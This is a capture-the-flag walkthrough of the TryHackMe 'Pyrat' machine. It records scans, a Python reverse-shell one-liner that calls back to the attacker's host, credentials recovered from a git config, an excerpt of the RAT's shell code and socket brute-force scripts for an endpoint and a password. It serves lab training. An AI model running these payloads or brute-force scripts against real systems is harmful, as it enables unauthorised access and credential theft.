Try Hack Me - Pyrat
Overview
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
Walkthrough
Enumeration
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 41.11 ms 10.21.0.1
2 41.27 ms pyrat.thm (10.10.101.252)
Manual enumeration
connected via telnet
telnet pyrat.thm 8000
after playing around there, I figured out that this is a python enviroment of some sort.
└─$ telnet pyrat.thm 8000
Trying 10.10.101.252...
Connected to pyrat.thm.
Escape character is '^]'.
print("hello")
hello
I tried a few different payload that from [[Shell upgrade]], which did not work.
Finally this worked https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python
socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.21.70.120",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
-> shell access
Post exploitation
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
think:x:1000:1000:,,,:/home/think:/bin/bash
fwupd-refresh:x:113:117:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
postfix:x:114:119::/var/spool/postfix:/usr/sbin/nologin
-> restricted access
looking around in the folders I got access I found this file
www-data@Pyrat:/opt/dev/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
working creds:
think:_TH1NKINGPirate$_
You got Mail
think@Pyrat:/var/mail$ cat think
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
checking running services
systemctl list-units --type=service
checking github
think@Pyrat:/opt/dev$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")
think@Pyrat:/opt/dev$ git restore pyrat.py.old
think@Pyrat:/opt/dev$ ls
pyrat.py.old
think@Pyrat:/opt/dev$ cat pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
fuzzing script for endpoint fuzzing
This is a script I created with the help of some AI to find valid username with the help of the rockyou.txt
wordlist.
import socket
import time
IP = "pyrat.thm"
PORT = 8000
#WORDLIST = "/usr/share/wordlists/rockyou.txt"
WORDLIST ="wordlist.txt"
def fuzz_endpoint(endpoint):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((IP, PORT))
s.sendall(f"{endpoint}\n".encode())
response = s.recv(1024).decode()
print(f"Trying: {endpoint} | Response: {response}")
return response
with open(WORDLIST, "r") as file:
for endpoint in file:
endpoint = endpoint.strip()
response = fuzz_endpoint(endpoint)
# time.sleep(0.1) # Avoid rate limiting
if "valid" in response.lower() or "success" in response.lower():
print(f"[+] Valid endpoint found: {endpoint}")
break
fuzzing script for password
improved fuzzing script to also brute force the password for the user found before:
import socket
import time
import argparse
import sys
# Argument parser for user inputs
parser = argparse.ArgumentParser(
description="""
Socket Endpoint Fuzzer
----------------------
This script attempts to discover valid endpoints on a given socket by sending values from a wordlist
and filtering responses. Useful for fuzzing services that require a specific endpoint before authentication.
"""
)
parser.add_argument("ip", help="Target IP address of the socket service")
parser.add_argument("port", type=int, help="Target port number")
parser.add_argument("wordlist", help="Path to the wordlist file containing endpoint guesses")
# Show help if no arguments are provided
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
IP = args.ip
PORT = args.port
WORDLIST = args.wordlist
def fuzz_endpoint(password):
"""Connects to the socket, sends an endpoint, and filters the response."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3) # Prevent hanging connections
s.connect((IP, PORT))
s.sendall(f"admin\n".encode())
response = s.recv(1024).decode().strip()
time.sleep(0.1)
# print(f"Testing Password: {password}")
s.sendall(f"{password}\n".encode())
response = s.recv(1024).decode().strip()
if "Password" not in response:
print(f"Response: {response}")
return response
except socket.timeout:
print(f"[-] Timeout on: {password}")
except Exception as e:
print(f"[!] Error: {e}")
# Read and fuzz each endpoint from the wordlist
try:
with open(WORDLIST, "r") as file:
for password in file:
password = password.strip()
fuzz_endpoint(password)
time.sleep(0.1) # Prevent flooding
except FileNotFoundError:
print(f"[!] Error: Wordlist file '{WORDLIST}' not found.")
admin login:
admin:abc123